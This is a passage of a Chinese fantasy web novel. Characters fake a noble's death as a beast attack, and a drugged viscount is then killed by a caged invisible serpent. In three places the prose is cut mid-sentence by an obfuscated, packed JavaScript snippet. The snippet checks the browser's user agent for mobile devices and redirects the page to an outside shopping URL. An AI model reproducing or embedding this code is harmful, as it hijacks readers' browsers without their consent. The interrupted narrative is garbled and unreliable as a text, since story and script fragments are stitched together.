乔恩只觉得无比憋屈和烦躁。他很清楚,自己已经连轴转了好几个月,但克拉丽斯音信全无。 他何尝不想找到克拉丽斯,再亲眼看着乔恩当上骑士,克拉丽斯通过魔法师的考试……但现在的事实就是克拉丽斯或许再也找不到了,他不希望卡尔因为追寻一个飘渺的可能性葬送自己的全部人生。 “你倔死了!啊!你知道你通过理论考试多不容易吗!你知不知道我怕实战老师刻意刁难来自缄默区的你,拼了命和他搞好关系!你要在这个地方耗着!你这一辈子就毁了!全毁了!我做的那些东西都白费了!” “谢谢你,乔恩,但很抱歉,我有必须做的事情。” 乔恩气得揪起对方的衣领,恨不得给他一拳。但沉默一会儿后他还是松开了手,恶狠狠地瞪着对方。 “你这个没出息的家伙!你就死在这种烂泥一样的地方吧!就这种地方配得上你!” 他气极了,扔下一句伤人的话便摔门而去,再也没有来过。 乔恩之后发了疯地工作,削尖脑袋往上爬,不放过任何一个查清克拉丽斯案件的机会,他知道自己的兄弟轴得要命,只有找到克拉丽斯他恐怕才愿意从斗兽场的泥潭里爬出来。 然而,却是现在这个结果。 他看着人潮攒动的观众席和满是血污的赛场,像是五脏六腑都在抽痛,连呼吸都得小心翼翼。 他没想过卡尔会死的! 耳边还回荡着讲解员喝彩的声音,他迅速捕捉到关键信息,随机抓了个服务员,他双目通红和疯了一般。 “斗兽场一直都是每个战士打一局,为什么今天他要连着打两局?” 服务员看这是个疯的,怕惹事上身,什么话都说了。 “今天有个客人,出一个金币,呼吁看加时赛,受他鼓舞,其他客人也争相加价,我们老板就同意了。” “那个提出这种无厘头要求的客人是谁!” 乔恩发誓,自己今天豁出去也要把这间接害死自己朋友的人打一顿。 服务员怯生生地指了下观众席的中间。 “那一位,金色头发那位。” 乔恩睁大了眼睛。 查理一席白色的外套,正若无其事地坐在人堆里和大家一起鼓掌喝彩。 就是他把克拉丽斯出卖给了贵族! 就是他间接谋杀了卡尔! 愤怒在那一瞬间变成了杀意,他摸了摸自己口袋里的魔导器,乔恩有了一个计划,自己要在这人常落脚的神殿杀了他! 等他做好准备,跟踪查理来到神殿后,却发现卡尔已经倒下,只剩一堆拿着武器的病患。 双方简单地交流后,调查经验丰富的乔恩想到了办法。既然安全部的记录上曾经真的有魔兽,那不如就把查理的死亡推到魔兽身上。 来这里的理由就用这些贵族最常见的借口——吃喝嫖赌,毕竟他真的出入了灰烬乐园的斗兽场。 唯一麻烦的就是伤口鉴定,但卡尔的身高和查理竟然十分相似,身形差异也很微小。卡尔尸体上魔兽的伤口来自查理的恶意,现在正好可以作为交换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你们确定尸体被调换这件事只有在场的工人还有乔恩吗?” 她的声音打破了寂静,让哈克不由得产生了下意识的期待。 “我确定。” 他点了点头。 他发现在自己回答之后莱安娜仿佛松了口气,眼中紧绷的忧虑明显少了一些。 “算个好消息。”她肯定道,随后继续说:“只要尸体交换的事情不被人知道,你们的计划仍然很安全。” 说罢她看向哈克,目光变得愈加严肃: “但麻烦的事情还有如下几个:第一,我们防御司需要给教会交代,需要抓一只活的有隐身能力的魔兽。第二,如果想要公开查理进行的器官交易,需要合适的证人,但哈克你需要避免出现在教会的目光下,我们需要更加有力的证据。同时这也意味着要直接和诸多贵族对抗,需要有个方案能够平稳地揭露此事,或者说我们得找一个有力的盟友。第三,你们的共犯乔恩的诉求是复仇,虽然查理死了,但查理也只是子爵一家和议会的工具人,始作俑者没有得到任何惩罚。而接下来我们需要思考怎样的案件结果和处理方案可以满足以上三点。” 她尽量言简意赅地把难点做了梳理。 “这是没办法的意思吗?”哈克灰心道,脑袋一下就垂了下去。 “我不想蹲大牢。” “你到底有没有听我讲话,我的意思是这很难,但没说完全没希望。”莱安娜有些哭笑不得。 “那有希望?方案是什么?”哈克充满希望地看着她。 “我都说了这很难,总需要一点时间思考吧,而且你应该一起想办法,而不是指望我给你一个方案。”莱安娜有些无奈地扶额。 怎么回事儿?她怎么感觉和这孩子说话比和奥菲莉亚说话还费劲儿? “哦。”哈克有些不好意思地抓了抓头发。 就在这时候,门铃却响了起来。哈克立刻警戒,抓起自己的特制手套准备起身,莱安娜就示意他坐下。 显然,如果来的是敌人,显然莱安娜比他更能妥善应付,他便乖巧地缩在了另一张椅子上。 门上没有猫眼,门后的气息也完全隐匿,莱安娜做好了最坏的准备,这个时间点来敲门很诡异,而且房主的亲人都不在世了,谁会来拜访?乔恩在调查子爵产业时没有暴露行踪?如果暴露了行踪,那这门背后的人想必来者不善了。 她的右手小心地凝聚着高精度的魔力,全神贯注,一下拉开了门。 确实,她猜得没错。 来者不善,相当不善! 65. 破局之法 门后面是阿纳托利那张冷得可怕的脸。 莱安娜停止了思考。 “啊……着急查案子,走的时候忘记给他留点消息了。” 在她大脑一片空白的时候,阿纳托利看见门后的人是她,悬着的心总算是放下了,但又急又气的心情很快侵蚀了他的理智,下意识伸手把她一把抱住。 阿纳托利身后站着寇尔,他似乎也是大松了口气的模样:“我都说了,没事的,哈克最多想拉着她出供能中心。” 一旁的乔恩则是无奈地摇了摇头。 阿纳托利:“我以为你没有及时开启枷锁,我以为你真被挟持了,还好你没事……” “好了,这不是没事吗?”她也拍了拍对方的后背,这才发现阿纳托利的眼眶有点红。 “你不会要哭了吧?”她不经思考就脱口而出。 莱安娜大受震撼!虽然这样不太好,虽然对方显然是因为自己的单独行动才过于担心的。自己应该感到愧疚,并对有风险的单独行动做出深刻反思的表面功夫。 但真的好新鲜呐!阿纳托利会哭诶!!! 给她两秒钟让她欣赏一下如此稀少的表情吧! 阿纳托利听了这话,再看对方那一脸感兴趣的神情,只觉得自己的一片真心都付诸东流,深吸一口气后端出了相当温柔的微笑。 “怎么会呢?我知道你会没事的,怎么会哭呢?不过亲爱的,你之后最好和我好好解释一下。”说着他的手圈得更紧了。 配合越来越紧的臂弯,加上这个可怕的笑容,莱安娜觉得自己仿佛听见了警报的声音。 “他还不如冷着个脸呢。”她心里发怵,随即收起了看稀奇的想法,恢复了理智,赶紧把话题往正事上引。 “咳咳,先进来说吧,我和哈克已经够通过案情了,我们一起商量下后续方案。” 阿纳托利一进室内就看到了缩在椅子上手拿铁手套的少年。 “你好?”哈克听见了莱安娜门口的对话,大概知道眼前这人应该和她关系不错,便打了个招呼,那两个相当粗糙的金属爪子还朝着阿纳托利抓了两下。 “你就是绑架犯?”他有些好奇。 “到底是谁绑架谁啊!”哈克只觉得无比委屈,自己被反复抛上高空的委屈到底有没有人管啊。 说着他的情绪似乎有些些激动,手套一扔,似乎想要和阿纳托利好好解释一通,自己是怎么被莱安娜折磨的。 寇尔见他要倒一堆废话,急忙把他摁回了椅子上,“下次做事聪明些,问清楚再动手,别一上来就绑架人家!” “我说了!我没有绑架……” 阿纳托利也盯着莱安娜:“你准备什么时候解释下?” 莱安娜:“不在今天可以吗?” 直到唯一没有任何怨气且保持理智的乔恩调查员站出来维持大局,几人这才重新坐下,商量起了对策。 …… 哈克在他们的讨论中获得了极大的慰藉。 因为当莱安娜女士复述了一下当前的难点时,所有人都陷入了很长时间的沉默。 “我就知道不是我笨!” 他的表情有些释然,坐在他对面的寇尔嫌弃地瞥了他一眼,不知道哈克在乐什么?方案想不出来,这群人说不定最后真得拿哈克去交差,这傻子怎么还在笑? 寇尔对莱安娜还有阿纳托利仍然很戒备,毕竟他们和乔恩调查员不同,乔恩调查员和他们有着相同的敌人、利害关系一致。 但莱安娜和阿纳托利作为教皇和议会联合派来调查案件的人,没有理由帮助他们,因此虽然两人有承诺,但寇尔并不敢轻信,尚有余地的情况下,承诺有兑现的希望,若是走投无路,毁约出卖哈克也并非不可能的事。 所以寇尔也在尽可能地思考着对策,但他也是第一次应对这样的难题。 “我们应该先解决第一个问题,怎么交一只不存在的隐形魔兽。”阿纳托利率先打破了沉默,但莱安娜这次是一点主意都没有了。 “我想过交魔兽尸体上去,但教皇指明了要活的魔兽,如果要交尸体,就需要对魔兽的死亡负责。”她相当苦恼。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098929|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且我的魔法很稀有,应该不好找。”哈克补充了一句。 莱安娜有点想堵住这孩子的嘴是怎么回事? 自己以前和青少年打交道也没这么费劲吧,安东尼奥和亨利他们都…… “我在想什么?”她立刻回过神来,不去想一些陈年旧事。 “我的隐身是因为地脉作业变异的影响,你们要不要抓一只魔兽去那里试试?” 他相当认真地提出了建议,莱安娜正准备告诉他随机事件是很难完整复刻的时候。哈克的话却给了她灵感。 “地脉?作业场?”她想起了哈克在劫持她前对工友们说的话,他可以带人走! “哈克,你的隐匿魔法对人有效?对魔兽有效吗?可以覆盖魔兽吗?”她认真地询问。 “这个我没试过。”他有些为难。 阿纳托利思考了一会儿:“按照原理,魔兽和人都是生命体,应该是可行的。” “如果你的隐匿魔法可以用在魔兽身上,那我们的问题解决了一大半。”莱安娜的表情终于有了一丝松懈。 阿纳托利有些不确定:“你想用那只咬伤卡尔的魔兽去交差?让哈克施加隐匿魔法?” “没错。”莱安娜点了点头,“这样不仅能完成第一个任务,魔兽的咬痕和尸体痕迹能对上,可以使查理死于魔兽的假象更加逼真。” 阿纳托利想到了另一个问题:“查理,你的魔法可以维持多久?” “必须满足两个条件,生物在我十米范围内,我有魔力。” “这就比较麻烦了,如果不能稳定维持,那么很容易被看出问题。”阿纳托利觉得思路又被切断,现在又得寻找新的方向。 “不,其实不用维持很久,我们只要让大家相信这魔兽有隐匿的魔法,然后在教会接管前杀掉它便死无对证了。” “杀死它需要承担任务失败的责任,等等,我好像明白了,你想把这罪责安到谁头上?” “你不觉得罪孽深重的子爵一家应该付出点代价吗?” 她眯着眼睛,笑得很是灿烂。 66. 多方介入 “最新报导!最新报导!透明魔兽连环杀人案已结案!北地英雄再次创造奇迹,防御司和安全部通力合作,一周内将魔兽捉拿归案!本报社记者将在本日下午三点前往关押魔兽的地点进行独家采访。” 案件破获消息由八音盒商会旗下的报社广泛宣传,圣都至少七成以上的人都知道了透明魔兽已被抓获归案,媒体添油加醋地将魔兽吃人的故事进行了夸张的加工演绎,几乎快要成了新的城市怪谈。 原本不为关注的案件瞬间引起了大家的兴趣。不少人都很好奇这头透明魔兽到底长什么模样。 而因为媒体有针对性地报道,受害者查理的形象也在宅心仁厚的医生和吃喝嫖赌的公子哥之间反复摇摆,吸引了极大的关注。 阿纳托利作为北地英雄过去早有传闻,现在作为防御司司长在一周内和自己的助手共同破获了本案,极高的工作效率也让大家对魔兽防御司的信赖感有所提升。 亨利看到这则新闻的时候很是意外,安全部还没有动静,新闻却已经报导了。看来安全部那个调查员应该遵从了阿纳托利保密的要求,这倒也是情理之中的事,一个人微言轻的调查员在司长面前恐怕也只能唯命是从。 “或许之后可以观察下阿纳托利和这个调查员,看是否有拉拢的必要,适当地给予这个调查员一些好处。”他考虑着未来的一些细节。 事件的整体走向他还算满意,至少就结果上来说安全部有所参与,而阿纳托利接下了和安全部的合作,也可以说明防御司有和他结盟的可能性。 根据安全部的调查,子爵一家一直试图攀附大贵族,对王室的示好默不作声,亨利也很乐于见到这群顽固的贵族派吃个暗亏。 目前安全部亨利已经收入麾下、因此治安骑士团也已经控制,圣都还剩下的武装就是防御司以及教皇那看似不可撼动的神使团了。 因此拉拢阿纳托利在他计划中一直是相当重要的一环,如果没法拉拢也没法铲除,那就只能尽量稳住对方,保证其不倒戈维斯特利亚,但这算是最糟糕的选择,亨利讨厌不确定性。 不过就目前来看,阿纳托利在公务上释放的信息仍是非常友善的,他仍有希望和这位司长结成同盟。 而对于维斯特利亚教皇来说,无论阿纳托利能不能抓到魔兽她都不在意。要是他没抓到,自己有了借口启动神使团对缄默区、作业区进行彻底的扫荡,既巩固了教会的权威,神使团接管作业区,加强了管理,有效保障了能源供应。 要是阿纳托利抓到了魔兽,那就更好了,不仅对于隐身魔法的研究能有所突破;受影响的作业区恢复正常,同时好好做做文章,挑起防御司和安全部的对立,毕竟二者的职能本就有重合之处。 而在这些目的都能达到后,她也不介意答应阿纳托利的小要求:在教会回收魔兽前,给防御司留一天的采访时间。 她原本以为阿纳托利自己要借这个机会积攒名望,但采访安排的对象却是安全部的一个无名职员以及子爵。维斯特利亚便明白这是对另外两方的示好,不得不承认自己低估了阿纳托利左右逢源的能力。 而以子爵为代表的贵族议会也非常满意,虽然根据联合调查,查理仍是为了前往灰烬乐园,才出现在缄默区的。其吃喝嫖赌的坏名声仍没有洗清,他们的贵族风骨会受到影响。但通情达理的阿纳托利司长送了另一个人情给他们——子爵会全程参与下午的采访,将作为受害者的父亲在采访中说明自己的感受。 民众们比起枯燥乏味的案件说明书,当然更喜欢报道!只要在报道中扮演出深受其害的模样,说明自己的孩子查理生前是多么正直优秀,讲讲他行医救人的经历,展示英俊的外表,再挤两滴眼泪,完美受害者的形象就此不可撼动。 事后在找几个街头传话人散布查理行医救人的传闻,被认定出没灰烬乐园一定是误会。那么大家最后都会偏向这位可怜的受害者的。 而且还可以借这个机会提升家族的知名度,他们的产业要想进一步发展,还需要长期积累。 因此对阿纳托利的这一提议,子爵一家全当示好接了下来,他们也非常满意。已经拿到了挽回名声的利器,自然也不对阿纳托利在案卷中保留的‘常出没于灰烬乐园等灰色场所附近’有任何意见了。 各方都在衡量这个案件终结自己能得到的结果,像是一只只野兽在等待端上餐桌的猎物,他们的眼睛都盯着下午要亮相在采访中的透明魔兽。 …… 下午三点,报社知名记者海蒂女士如期来到缄默区的抓获现场,在采访了阿纳托利简单的案情后,海蒂便和安全部调查员乔恩一同出发前往安全部。 “乔恩先生,魔兽没有关押在防御司吗?” “司长他考虑到采访的便利性,申请了移交管辖,关押在安全部的话,海蒂小姐今天下午就不用两边跑了,子爵的人物专访和魔兽的介绍都可以一块儿做。” “阿纳托利司长真是细心的人。” 二人闲聊着来到了安全部的关押点,没想到子爵已经在这里等候多时,俨然打扮成了沉溺丧子之痛的可怜父亲模样,要不是海蒂看了报社对这些贵族私生活的一手照片,见过子爵三天前还在和两位芭蕾舞演员寻欢作乐,她一定会被着可怜老头的模样骗过去。 “我们什么时候开始?”子爵显然是跃跃欲试。 “您稍等,我需要先采访安全部的乔恩先生,再给您做专访。”海蒂礼貌地朝他点点头。 “我有个提议,海蒂小姐。”乔恩认真地看着她手里的留影石。 “采访若是想成功必然需要抓人眼球才行。” “您的意思是?” “您要不要在囚禁魔兽的笼子外面采访我们?以这种新奇的魔兽作为背景,想必会更加吸引眼球吧?” “确实如此。”海蒂肯定道。 而一旁的子爵更是欣然接受,他已经迫不及待地在魔兽旁边声泪控诉,表达一位老父亲的丧子之痛。 “那各位请吧。” 乔恩将众人领到了关着魔兽的房间。房间内很潮湿,应该是针对魔兽的习性设计的。房内设置了两个区间。用金属铁栅栏隔开,栅栏的内侧有一个屏障,其中关押着一只中型魔兽,屏障的面积只占了栅栏的五分之一不到,剩下的空地上摆了一根没有使用的铁链。 栅栏的外侧布置了桌椅,还准备了茶水,甚至还有个放置投影石的架子。 “真是充足的准备!”海蒂调试着投影石的角度,发自内心地感到惊喜。“这个角度留下的影像非常全面,非常感谢您!乔恩先生!” “不必谢我,皇帝陛下强调过,安全部是要为大众服务的,我只是遵守陛下的教诲。”他恭敬地说着。 随后采访开始,海蒂先采访的是乔恩,询问了他在之前破案时遇到的难题,以及和阿纳托利司长合作时候取得的突破。 乔恩回答得非常谦虚,并恰到好处地提了防御司所做的贡献,结合阿纳托利采访中对安全部的赞美,显然是业内互吹,海蒂自然也明白这是防御司和安全部友善合作的信号。 在采访完乔恩时,子爵相当不耐烦地等待一旁,他坐在另一张准备好的椅子上,喝起了并不怎么可口的茶水,相当嫌弃地瞄了乔恩好几眼。他把杯子放在桌上,没人注意在一阵风拂过后杯中的水面荡起的细微涟漪。 但没想到就快要到他时,乔恩又提出了建议,询问海蒂记者是否需要看他们搜集的透明魔兽其他资料。 “贱民,一直在耽误我宝贵的时间。”子爵不耐烦地瞥了眼乔恩,继续端起了杯子。 但没想到还有他更生气的,乔恩所说的资料因为不能带出资料厅,所以和海蒂先行离开十五分钟,了解情况后再回来采访他。 “可恶,真是磨蹭!” 他恶狠狠地抱怨道。 但等待的过程中他却觉得有些不对劲起来,他觉得室内的温度越来越高。 “怎么回事儿?” 他起身,却觉得头重脚轻,轻飘飘的,像是置身在云朵上。 太奇怪了,他刚才还觉得无比恼火的内心,此时却十分高兴,没有缘由地感到畅快。 唯一不太舒服的就是温度,这里太热了。 他想出门,却发现房间的门被锁上了,应该是那个安全部的探员不小心给拉上了。这种老式的门就是这样,关门稍微用一点力气,门闩就能卡住。 但他不气也不恼,但仍急着解决这过高的温度。 贵族的体面让他做不出在这里脱掉衣服的丑事。他把目光转到了铁栅栏,上面的控温装置显示着2度,他刚挪过去就感到了一丝凉意。 “要是能进去待一会儿就好了。” 他刚这样想,就被自己的想法吓了一跳,但目光落到了屏障上。那只中型魔兽正昏沉沉地躺在屏障内。 “啊……有屏障应该没关系。” 他平日里是个谨慎而狡猾的人,如果在现实生活中看到魔兽必然吓得绕道走,但此时他也不知道自己为什么心中没有一点畏惧。 他飘飘然地打开了铁栅栏。 “竟然没锁!果然是因为有屏障所以很安全。” 他走了进去,果然感到无比凉爽。 舒适的温度,没有缘由地纯粹畅快感让他享受地眯起了眼睛。 直到他感到有水滴到了自己的头上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098930|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怎么回事?安全部天花板还漏水? 他转过头,什么都没有,便不可置信地揉了揉眼睛。 如同透明的布被一把掀开,蛇形魔兽在他身后露出真容,它的尾巴连着枷锁,锋利的牙齿露了出来,散发着腥气的粘液还在不断滚落。 “女神在上!女神在上!” 原来那只屏障内的魔兽不是透明魔兽!这只被钉住尾巴的才是!之前因为透明魔法未曾被发觉!可恶!那个安全部的职员也不解释!要是他知道怎么还会进来! 他转身就要冲向铁门!只要能出去!拉开一段距离,这只被钉住尾巴的魔兽的行动范围是有限的。 但他快要到门口的时候,却像是撞上了什么东西一般,摔倒在了地上,蛇形魔兽的已经扑了上来。 但他好歹也是魔导师,哆哆嗦嗦地掏出魔导器就一阵乱打。 …… “感谢乔恩探员的介绍,我不知道原来透明魔兽有这些特质,难怪之前失踪那些人会悄无声息地消失,一会儿我在问子爵问题的时候会更有针对性的。” “不客气,安全部也是想要尽可能呈现一个客观的结果。” 他拇指顶在了门把手的下端,按着按钮微笑着拉开了门。 海蒂脸色霎时变得惨白,手中的留影石啪嗒一下落在了地上。 子爵已经倒在了血泊当中,一只巨大的蛇形魔兽也躺在一边奄奄一息。 “这这……”海蒂被眼前的景象大为震撼。 “抱歉小姐,采访暂时中止,此事需要立刻上报!”乔恩对海蒂歉意地摇了摇头,随后请海蒂离开了关押的房间。 这突如其来的意外像是一枚炸弹,将众人早已协商完毕、分割妥帖的赌桌炸了个稀烂。 首先受到影响的是安全部。亨利知道此事后,立即明白了其中风险,要求先封锁消息,立刻调查魔兽死亡和子爵之死的真相。 没想到海蒂女士过于专业,在发现命案的第一时间就用留影石进行了记录,刚离开安全部就发布了紧急报道。 这下局面乱得不能再乱了。 这只有着特殊魔法的魔兽可是防御司的重点任务。魔兽不明不白地死在了安全部,阿纳托利交不了差,自然不管什么部门友谊了,一纸公文要求安全部解释原因,魔兽死亡的黑锅狠狠地砸到了安全部头上。 亨利只得先让部长先稳住阿纳托利的情绪,再快速查明此案,看能不能把魔兽之死推到子爵的身上。 同时得知实验体没了的维斯特利亚也相当不满,教会这边也开始施压;而一个贵族莫名其妙地死在了安全部,那群老派贵族闻风而动,他们坚决不相信子爵是为了自己的儿子去英勇地找魔兽复仇,声称安全部一定有人暗害贵族。于是子爵所属的那群老派贵族也开始对安全部口诛笔伐。 在真相尚未查明之前,安全部就是众矢之的,谁让这一人一兽都不明不白地死在它地盘上? 傍晚五点半的时候,亨利的心情显然没有两个多小时前那么美丽了。 虽说很想把办事不力的安全部清算一通,但当务之急是要查明子爵、魔兽死亡的原因,这个任务被交到了调查员乔恩身上,其业务能力本就在安全部十分出名。还是魔兽系列案件的全程跟进者,本起案件的目击者。 就在亨利有些不耐烦地等待安全部调查结果时,却听安东尼奥说有位意外的客人前来拜访。 “那位夫人说听闻陛下收藏了诸多历史类藏书,想问陛下是否方便借阅,并回答她几个问题。” 亨利觉得有些好笑,王庭的私藏什么时候成为了可以外接的公共图书馆了?这群贵族未免有些太过狂妄。 “告诉那位夫人我有公务在身,暂时无法回答她的问题,但如果她想借书……”他忽然意识到这个时间点的微妙。 “那位夫人是谁?” “阿琳娜夫人。” “看来司长有事需要和我们商量啊。” 他心下了然,带着得体地笑容去迎接这位来得有些突然的客人。 亨利在楼梯上就远远看见,她正站在大厅的另一边,昂着头欣赏那副巨大的肖像画。 那幅画像叫帝国荣光。开国皇帝塞德里克站在崇山上,手持利剑,金色的眼眸俯瞰大地上各自割据的王国,风吹动他的黑发,年轻的统治者看上去是那样意气风发。 她看向古画的眼神十分认真,但分明没有一丝一毫的敬畏。正是这样的神态总让亨利觉得莱安娜和她十分神似。 见他过来了,这位夫人便朝他礼貌地行礼。 “晚上好,阿琳娜夫人,我不想讨论共同爱好的时候有太多人在场,我们换个地方。” 67. 敌人的敌人 莱安娜跟随亨利来到了王庭塔楼的顶端,此时夕阳已经逐渐淡去,天色暗了下来。 她观察周遭的布置,不由得感叹亨利的谨慎。 底层确有大量藏书古物,通往顶层的通道由安东尼奥把控,平台上方一览无余,此地是个非常安全的交流场所。 “阿琳娜夫人这个时候前来,不会真的只是找我借藏书、询问历史问题的吧。” “是的,其实是我的丈夫他有事告知您,我也不太明白他为什么不能自己前来告知,需要我用如此迂回的借口……” 她说这话时候神色显然很不自在,阿琳娜平民出身,对弯弯绕绕的政治并不了解,这样说再正常不过了。 “总之,我丈夫托我把这件东西带给您。” 她说着将一枚留影石放在了桌上。 “这是?”亨利有些困惑。 “海蒂小姐在离开房间的时候,把桌上自己的私人物品全部带走了,回去的时候才发现留影石并未关闭。” 她说着,抬头小心地瞥了眼亨利,随后将这枚石头推了出去。 “这里面的东西或许……我也不太确定,但也许可以解安全部的燃眉之急。” 亨利将结晶抓了起来,微笑着看向阿琳娜。 “里面的内容如果和安全部相关,为什么海蒂小姐会第一时间去找防御司而不是找安全部呢?” “可能因为过去各种报道的原因,她很信任我丈夫的品行,这才来找我们求助。影像里面呈现的东西很危险,她不确定直接给安全部是否合适。” “哦?愿闻其详。” “这个影像可以证明是子爵一个人杀死了魔兽,而子爵死在魔兽口中,所以,我丈夫他说,一旦公开录像,安全部就可以摆脱如今的局面。但影像包含贵族的丑闻……”她说这话的时候十分没有底气,最后才鼓足勇气一般地挤出了答案。 “服用禁药。” 连擅长掩饰内心的亨利听闻这个答案都没控制住惊讶的表情。 “你是说,子爵是因为服用了那种药物?导致精神错乱、产生幻觉之类的,才冲进笼内和魔兽厮杀?” 亨利立刻就明白为什么海蒂记者没有第一时间把这个结晶交给安全部了。 这个事情并非子爵一个人沉溺禁药这么简单,圣都是不允许禁药存在,如果子爵能获取,那么圣都背后有相当完整的产业。 按照安全部门的职权,会深入调查,那样势必和背后的贵族团体起冲突,海蒂并不能确定安全部会冒着得罪贵族集团的风险彻查此案,万一安全部销毁了结晶呢? 所以她把这段证据交给一位口碑过硬的正人君子。至少防御司出于查清魔兽的死因是有职权介入调查子爵的,其他人虽然无权调查,但至少可以保证这份证据不被销毁。 “果然,正直的骑士总是受大家的欢迎和信赖呢。”亨利想着,那种厌恶感又增添了几分。 他开口道:“我明白阿纳托利司长的意思了。感谢他的真诚和友善,安全部会记得他的善意。” 他停顿了一下,像是在权衡利弊,那双金色的眼睛在算计的时候会格外冰冷。 “至于,彻查禁药的事情,请夫人转告阿纳托利司长,安全部一定会恪尽职守,守卫民众。而他也永远有我这个朋友。” 阿琳娜起身朝他行礼:“感谢陛下的恩典。” 亨利获得了不少中小贵族的支持,大贵族们一直对维斯特利亚扶植起来的傀儡皇帝感到戒备,毕竟他们曾花费这么多精力才把哈雷皇帝彻底扳倒,怎么能不忌惮?因此一直对亨利暗中打压,双方积怨已久。子爵为那些老派贵族卖命多年。安全部针对禁药的调查必然能让这群贵族吃不少苦头。 而且机会千载难逢,维斯特利亚当年率先提出了圣都绝不允许禁药的存在,虽说对于贵族自己的私人生活和压榨贫民她会睁一只眼闭一只眼,但若是敢在她的地盘上形成产业,那可就是触及逆鳞了。 维斯特利亚往常是乐于见到亨利和大贵族们形成平衡的,不会纵容一方对一方的全面碾压,但涉及到自己的利益,维斯特利亚恐怕也乐于放亨利好好清算一次。 莱安娜心里盘算着,知道关于禁药调查的事情已经成了,亨利麾下的安全部会给贵族们找不痛快的。 任务完成后的她正准备给亨利告别,亨利却问了另一个问题。 “听闻阿琳娜夫人会古语,是阿纳托利司长的翻译?” “是的陛下。” “真是怀念呢,其实我过去也当过别人的古语翻译呢……” 那双眼睛明明饱含笑意,但金色的眸光却又让人觉得危险异常,莱安娜下意识想躲避,但她忍住了。 她冷静地抬头,平视着亨利: “是吗?真叫人意外?皇帝陛下为什么需要干这种事?” 疑惑的语气是那样自然,叫人挑不出一点毛病。 亨利收回了打量的目光,抬头看向夜空,星星已经亮了起来,像是蓝色丝绒布上撒开的碎钻。 “那是很久以前的事情了,帮我老师干着琐碎的工作,期待着有朝一日能得到她的认可。” “陛下,您是无需任何臣民认可的。” 阿琳娜颔首道,语气越发恭敬。 亨利皱了皱眉,似乎对她这话很不满意,但他很快恢复了温文尔雅的表情。 “和夫人聊天很开心,一楼的书架的第一本书就当是我送给夫人的礼物,我很期待下次的见面。” …… 莱安娜面不改色的走下楼梯,但她能清楚地听见自己的心跳声。 亨利不会向一个不熟悉的人主动提起自己的过去,还是不怎么成功的过去。 他会给自己提起卡萨德拉时期的回忆只有一个目的,那就是试探! 他已经起疑了。 “到底是哪里让他起疑的?完全不一样的面容?风马牛不相及的身份?甚至连说话的方式我都有刻意调整过。” 莱安娜感到亨利这家伙实在有些可怕,难怪阿纳托利抱怨和他打交道累呢,这么年轻,心眼子就多成这样……对比一下,突然就察觉到哈克的可爱之处了。 她走到一楼,按照亨利的指示拿出了那本书。 非常厚实的古语手稿被牛皮的外壳装订成册,她翻开封皮,整个人都僵了一下。 上面的笔迹是她自己的,这是她在卡萨德拉城时候留下的手稿…… 她下意识抬头看向塔顶,心里一沉。 顶层的围栏上有个身影正逆着光,亨利一直在看着她。 …… 事情的发展就像脱缰的野马,横冲直撞,让所有人始料未及。 安全部很快公开了影像,是子爵自己进入了牢笼引发魔兽攻击,二者缠斗才有了如此惨剧。 谁能想到一个完美的局面是被这样无厘头的乌龙搅黄的呢? 在公开的影像中,子爵的肢体表现非常怪异,鉴定后被确定是服用了禁药导致的行为异常,而在他尸体的查验中也证实了这一点。 因此案件的调查重点转向了禁药。维斯特利亚果然对有人在她的领地阳奉阴违感到不快,选择在这件事上对亨利的清算不加干预。 亨利也借着这个机会好好地向那群旧贵族们出了口恶气。其中有几个做得实在太过分的,亨利让安全部把调查结果提交了联合议会,维斯特利亚心领神会,杀鸡敬猴,两人联手,让几个中等体量的贵族家族从此在圣都销声匿迹,不见踪影。 阿纳托利这个事情解决得相当漂亮,虽然最后魔兽没有抓到,但这显然是子爵的过错,此事之后他算正式坐稳了司长的位置。防御司也借着报社宣传赢得了极好的口碑。 乔恩因为调查有功,被亨利提拔成了调查组长,也按照他们的约定把关于器官的交易证据给了阿纳托利。 其中牵涉人员众多,这次无法将所有人一并处理。所以阿纳托利和莱安娜建议乔恩将部分线索汇报给亨利,看正在“火力全开”的安全部会作何选择。 亨利果然没有放过这个线索,顺水推舟,让子爵连带着好几家参与交易的老贵族们声名狼藉,之前的查理摇摆不定的形象赚足了关注度,当真相公开时,更多人都知道了他是个披着人皮的魔鬼,彻底被钉在耻辱柱上。乔恩也借着查案的机会从查理的坟墓里带走了友人的尸体,把卡尔安葬在了克拉丽斯的旁边。 但亨利控制下的安全部对与非法交易的清算是具有选择性的。乔恩上报了部分名单,最终只处理了和子爵直接相关的几个老派贵族。连那个看似毫无背景的画家竟然都没有被追责。不过对于剩下没有被处理的人,莱安娜似乎已经有了新的计划。 哈克的能力着实优秀,莱安娜发现这孩子不仅可以在视觉上隐匿,甚至连魔力波动都能隐藏几分,但要瞒过高阶以上的法师还不太可能,未来或许要多加练习。 